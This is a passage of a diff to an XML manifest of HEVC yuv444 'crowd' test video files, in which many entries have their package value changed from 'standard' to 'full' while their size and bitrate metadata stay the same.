-    <value>mime=video/hevc,size=66026,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=808744,package=standard</value>
+    <value>mime=video/hevc,size=66026,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=808744,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_ctb16.mp4">
     <value>mime=video/hevc,size=688817,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=8593648,package=full</value>
@@ -23949,13 +23949,13 @@
     <value>mime=video/hevc,size=65164071,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=814534312,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_qp50.mp4">
-    <value>mime=video/hevc,size=65881,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=806936,package=standard</value>
+    <value>mime=video/hevc,size=65881,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=806936,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_qp51cbm12crm12.mp4">
-    <value>mime=video/hevc,size=58977,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=720632,package=standard</value>
+    <value>mime=video/hevc,size=58977,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=720632,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_qp51.mp4">
-    <value>mime=video/hevc,size=53292,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=649568,package=standard</value>
+    <value>mime=video/hevc,size=53292,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=649568,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_rect0.mp4">
     <value>mime=video/hevc,size=678250,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=8461544,package=full</value>
@@ -24165,7 +24165,7 @@
     <value>mime=video/hevc,size=216710252,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_crf51.mp4">
-    <value>mime=video/hevc,size=243207,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=3023808,package=standard</value>
+    <value>mime=video/hevc,size=243207,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=3023808,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_ctb32.mp4">
     <value>mime=video/hevc,size=1745886,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=21807296,package=full</value>
@@ -24312,7 +24312,7 @@
     <value>mime=video/hevc,size=413239715,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=870512864,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_qp51cbm12crm12.mp4">
-    <value>mime=video/hevc,size=213592,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=2653624,package=standard</value>
+    <value>mime=video/hevc,size=213592,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=2653624,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_rect0.mp4">
     <value>mime=video/hevc,size=1761499,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=22002456,package=full</value>
@@ -24423,196 +24423,196 @@
     <value>mime=video/hevc,size=2302060,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=28763024,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_100kbps.mp4">
-    <value>mime=video/hevc,size=26885,width=640,height=360,frame-rate=50,profile=,level=,bitrate=319496,package=standard</value>
+    <value>mime=video/hevc,size=26885,width=640,height=360,frame-rate=50,profile=,level=,bitrate=319496,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_10mbps.mp4">
     <value>mime=video/hevc,size=788555,width=640,height=360,frame-rate=50,profile=,level=,bitrate=9840368,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_1mbps.mp4">
-    <value>mime=video/hevc,size=75557,width=640,height=360,frame-rate=50,profile=,level=,bitrate=927896,package=standard</value>
+    <value>mime=video/hevc,size=75557,width=640,height=360,frame-rate=50,profile=,level=,bitrate=927896,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_20mbps.mp4">
     <value>mime=video/hevc,size=1584743,width=640,height=360,frame-rate=50,profile=,level=,bitrate=19792720,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_4mbps_adaptiveqp0.mp4">
-    <value>mime=video/hevc,size=332994,width=640,height=360,frame-rate=50,profile=,level=,bitrate=4145856,package=standard</value>
+    <value>mime=video/hevc,size=332994,width=640,height=360,frame-rate=50,profile=,level=,bitrate=4145856,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_4mbps_adaptiveqp2.mp4">
-    <value>mime=video/hevc,size=329545,width=640,height=360,frame-rate=50,profile=,level=,bitrate=4102744,package=standard</value>
+    <value>mime=video/hevc,size=329545,width=640,height=360,frame-rate=50,profile=,level=,bitrate=4102744,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_4mbps_qpg16.mp4">
-    <value>mime=video/hevc,size=113107,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1397272,package=standard</value>
+    <value>mime=video/hevc,size=113107,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1397272,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_4mbps_qpg64.mp4">
-    <value>mime=video/hevc,size=111453,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1376600,package=standard</value>
+    <value>mime=video/hevc,size=111453,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1376600,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_4mbps_qpg8.mp4">
-    <value>mime=video/hevc,size=111754,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1380360,package=standard</value>
+    <value>mime=video/hevc,size=111754,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1380360,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_500kbps.mp4">
-    <value>mime=video/hevc,size=41455,width=640,height=360,frame-rate=50,profile=,level=,bitrate=501624,package=standard</value>
+    <value>mime=video/hevc,size=41455,width=640,height=360,frame-rate=50,profile=,level=,bitrate=501624,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_5mbps.mp4">
     <value>mime=video/hevc,size=390267,width=640,height=360,frame-rate=50,profile=,level=,bitrate=4861768,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_allidr.mp4">
-    <value>mime=video/hevc,size=289254,width=640,height=360,frame-rate=50,profile=,level=,bitrate=3603224,package=standard</value>
+    <value>mime=video/hevc,size=289254,width=640,height=360,frame-rate=50,profile=,level=,bitrate=3603224,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_altidr.mp4">
-    <value>mime=video/hevc,size=304961,width=640,height=360,frame-rate=50,profile=,level=,bitrate=3798544,package=standard</value>
+    <value>mime=video/hevc,size=304961,width=640,height=360,frame-rate=50,profile=,level=,bitrate=3798544,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_amp0.mp4">
-    <value>mime=video/hevc,size=109952,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357832,package=standard</value>
+    <value>mime=video/hevc,size=109952,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357832,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_amp1.mp4">
-    <value>mime=video/hevc,size=109952,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357832,package=standard</value>
+    <value>mime=video/hevc,size=109952,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357832,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_aud.mp4">
-    <value>mime=video/hevc,size=109949,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357800,package=standard</value>
+    <value>mime=video/hevc,size=109949,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357800,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_b_adapt_0.mp4">
-    <value>mime=video/hevc,size=96804,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1194080,package=standard</value>
+    <value>mime=video/hevc,size=96804,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1194080,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_b_adapt_1.mp4">
-    <value>mime=video/hevc,size=122364,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1512984,package=standard</value>
+    <value>mime=video/hevc,size=122364,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1512984,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_beta0.mp4">
-    <value>mime=video/hevc,size=109952,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357832,package=standard</value>
+    <value>mime=video/hevc,size=109952,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357832,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_beta4.mp4">
-    <value>mime=video/hevc,size=109808,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1356024,package=standard</value>
+    <value>mime=video/hevc,size=109808,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1356024,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_beta6.mp4">
-    <value>mime=video/hevc,size=110076,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1359368,package=standard</value>
+    <value>mime=video/hevc,size=110076,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1359368,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_beta6_tcm6.mp4">
-    <value>mime=video/hevc,size=110276,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1361856,package=standard</value>
+    <value>mime=video/hevc,size=110276,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1361856,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_betam4.mp4">
-    <value>mime=video/hevc,size=110093,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1359584,package=standard</value>
+    <value>mime=video/hevc,size=110093,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1359584,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_betam6.mp4">
-    <value>mime=video/hevc,size=110194,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1360848,package=standard</value>
+    <value>mime=video/hevc,size=110194,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1360848,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_betam6_tc6.mp4">
-    <value>mime=video/hevc,size=110265,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1361720,package=standard</value>
+    <value>mime=video/hevc,size=110265,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1361720,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_cnstrn_intra.mp4">
-    <value>mime=video/hevc,size=110502,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1364712,package=standard</value>
+    <value>mime=video/hevc,size=110502,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1364712,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_cra16.mp4">
-    <value>mime=video/hevc,size=119388,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1474968,package=standard</value>
+    <value>mime=video/hevc,size=119388,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1474968,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_crf0.mp4">
     <value>mime=video/hevc,size=3505048,width=640,height=360,frame-rate=50,profile=,level=,bitrate=43796536,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_crf51.mp4">
-    <value>mime=video/hevc,size=9492,width=640,height=360,frame-rate=50,profile=,level=,bitrate=102080,package=standard</value>
+    <value>mime=video/hevc,size=9492,width=640,height=360,frame-rate=50,profile=,level=,bitrate=102080,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_ctb16.mp4">
-    <value>mime=video/hevc,size=111678,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1379408,package=standard</value>
+    <value>mime=video/hevc,size=111678,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1379408,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_ctb32.mp4">
-    <value>mime=video/hevc,size=110602,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1365960,package=standard</value>
+    <value>mime=video/hevc,size=110602,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1365960,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_fastdecode.mp4">
-    <value>mime=video/hevc,size=110334,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1362608,package=standard</value>
+    <value>mime=video/hevc,size=110334,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1362608,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_faster.mp4">
-    <value>mime=video/hevc,size=91549,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1128400,package=standard</value>
+    <value>mime=video/hevc,size=91549,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1128400,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_fast.mp4">
-    <value>mime=video/hevc,size=94178,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1161256,package=standard</value>
+    <value>mime=video/hevc,size=94178,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1161256,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_grain.mp4">
-    <value>mime=video/hevc,size=182607,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2266024,package=standard</value>
+    <value>mime=video/hevc,size=182607,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2266024,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_hash_chksum.mp4">
-    <value>mime=video/hevc,size=110656,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1366632,package=standard</value>
+    <value>mime=video/hevc,size=110656,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1366632,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_hash_crc.mp4">
-    <value>mime=video/hevc,size=110464,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1364232,package=standard</value>
+    <value>mime=video/hevc,size=110464,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1364232,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_hash_md5.mp4">
-    <value>mime=video/hevc,size=111808,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1381032,package=standard</value>
+    <value>mime=video/hevc,size=111808,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1381032,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_hrd.mp4">
-    <value>mime=video/hevc,size=109952,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357832,package=standard</value>
+    <value>mime=video/hevc,size=109952,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357832,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_idr16.mp4">
-    <value>mime=video/hevc,size=121369,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1500496,package=standard</value>
+    <value>mime=video/hevc,size=121369,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1500496,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_intraminus1.mp4">
-    <value>mime=video/hevc,size=109961,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357944,package=standard</value>
+    <value>mime=video/hevc,size=109961,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357944,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_lossless.mp4">
     <value>mime=video/hevc,size=8891459,width=640,height=360,frame-rate=50,profile=,level=,bitrate=111126672,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_max_log2poc_10.mp4">
-    <value>mime=video/hevc,size=109961,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357944,package=standard</value>
+    <value>mime=video/hevc,size=109961,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357944,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_max_log2poc_16.mp4">
-    <value>mime=video/hevc,size=109984,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1358232,package=standard</value>
+    <value>mime=video/hevc,size=109984,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1358232,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_max_log2poc_4.mp4">
-    <value>mime=video/hevc,size=109947,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357768,package=standard</value>
+    <value>mime=video/hevc,size=109947,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357768,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_max_log2poc_5.mp4">
-    <value>mime=video/hevc,size=109947,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357768,package=standard</value>
+    <value>mime=video/hevc,size=109947,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357768,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_max_log2poc_6.mp4">
-    <value>mime=video/hevc,size=109947,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357768,package=standard</value>
+    <value>mime=video/hevc,size=109947,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357768,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_maxtu16.mp4">
-    <value>mime=video/hevc,size=111053,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1371600,package=standard</value>
+    <value>mime=video/hevc,size=111053,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1371600,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_maxtu4.mp4">
-    <value>mime=video/hevc,size=103854,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1281608,package=standard</value>
+    <value>mime=video/hevc,size=103854,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1281608,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_maxtu8.mp4">
-    <value>mime=video/hevc,size=110766,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1368008,package=standard</value>
+    <value>mime=video/hevc,size=110766,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1368008,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_medium.mp4">
-    <value>mime=video/hevc,size=109952,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357832,package=standard</value>
+    <value>mime=video/hevc,size=109952,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357832,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_merge1.mp4">
-    <value>mime=video/hevc,size=111833,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1381344,package=standard</value>
+    <value>mime=video/hevc,size=111833,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1381344,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_merge3.mp4">
-    <value>mime=video/hevc,size=109875,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1356872,package=standard</value>
+    <value>mime=video/hevc,size=109875,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1356872,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_merge4.mp4">
-    <value>mime=video/hevc,size=109065,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1346744,package=standard</value>
+    <value>mime=video/hevc,size=109065,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1346744,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_merge5.mp4">
-    <value>mime=video/hevc,size=109284,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1349480,package=standard</value>
+    <value>mime=video/hevc,size=109284,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1349480,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_mincu16.mp4">
-    <value>mime=video/hevc,size=118602,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1465944,package=standard</value>
+    <value>mime=video/hevc,size=118602,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1465944,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_mincu32.mp4">
-    <value>mime=video/hevc,size=132787,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1643248,package=standard</value>
+    <value>mime=video/hevc,size=132787,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1643248,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_nodblk.mp4">
-    <value>mime=video/hevc,size=110578,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1365656,package=standard</value>
+    <value>mime=video/hevc,size=110578,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1365656,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_no_pps_qp_opt.mp4">
-    <value>mime=video/hevc,size=109955,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357872,package=standard</value>
+    <value>mime=video/hevc,size=109955,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357872,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_no_pps_reflist_opt.mp4">
-    <value>mime=video/hevc,size=109955,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357872,package=standard</value>
+    <value>mime=video/hevc,size=109955,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357872,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_no_vui_hrd.mp4">
-    <value>mime=video/hevc,size=109955,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357872,package=standard</value>
+    <value>mime=video/hevc,size=109955,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357872,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_placebo.mp4">
-    <value>mime=video/hevc,size=114748,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1417760,package=standard</value>
+    <value>mime=video/hevc,size=114748,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1417760,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_profilenone.mp4">
-    <value>mime=video/hevc,size=109949,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357800,package=standard</value>
+    <value>mime=video/hevc,size=109949,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357800,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_psnr.mp4">
-    <value>mime=video/hevc,size=201197,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2498408,package=standard</value>
+    <value>mime=video/hevc,size=201197,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2498408,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_qp0.mp4">
     <value>mime=video/hevc,size=8084146,width=640,height=360,frame-rate=50,profile=,level=,bitrate=101035256,package=full</value>
@@ -24627,157 +24627,157 @@
     <value>mime=video/hevc,size=5959637,width=640,height=360,frame-rate=50,profile=,level=,bitrate=74478896,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_qp50.mp4">
-    <value>mime=video/hevc,size=9332,width=640,height=360,frame-rate=50,profile=,level=,bitrate=100080,package=standard</value>
+    <value>mime=video/hevc,size=9332,width=640,height=360,frame-rate=50,profile=,level=,bitrate=100080,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_qp51cbm12crm12.mp4">
-    <value>mime=video/hevc,size=8540,width=640,height=360,frame-rate=50,profile=,level=,bitrate=90184,package=standard</value>
+    <value>mime=video/hevc,size=8540,width=640,height=360,frame-rate=50,profile=,level=,bitrate=90184,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_qp51.mp4">
-    <value>mime=video/hevc,size=8192,width=640,height=360,frame-rate=50,profile=,level=,bitrate=85832,package=standard</value>
+    <value>mime=video/hevc,size=8192,width=640,height=360,frame-rate=50,profile=,level=,bitrate=85832,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_rect0.mp4">
-    <value>mime=video/hevc,size=109952,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357832,package=standard</value>
+    <value>mime=video/hevc,size=109952,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357832,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_rpt_hdrs.mp4">
-    <value>mime=video/hevc,size=109949,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357800,package=standard</value>
+    <value>mime=video/hevc,size=109949,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357800,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_sao0.mp4">
-    <value>mime=video/hevc,size=109585,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1353248,package=standard</value>
+    <value>mime=video/hevc,size=109585,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1353248,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_sbh1.mp4">
-    <value>mime=video/hevc,size=109952,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357832,package=standard</value>
+    <value>mime=video/hevc,size=109952,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1357832,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_slower.mp4">
-    <value>mime=video/hevc,size=109368,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1350512,package=standard</value>
+    <value>mime=video/hevc,size=109368,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1350512,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_slow.mp4">
-    <value>mime=video/hevc,size=104860,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1294184,package=standard</value>
+    <value>mime=video/hevc,size=104860,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1294184,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_srng0.mp4">
-    <value>mime=video/hevc,size=147951,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1832824,package=standard</value>
+    <value>mime=video/hevc,size=147951,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1832824,package=full</value>
   </entry>
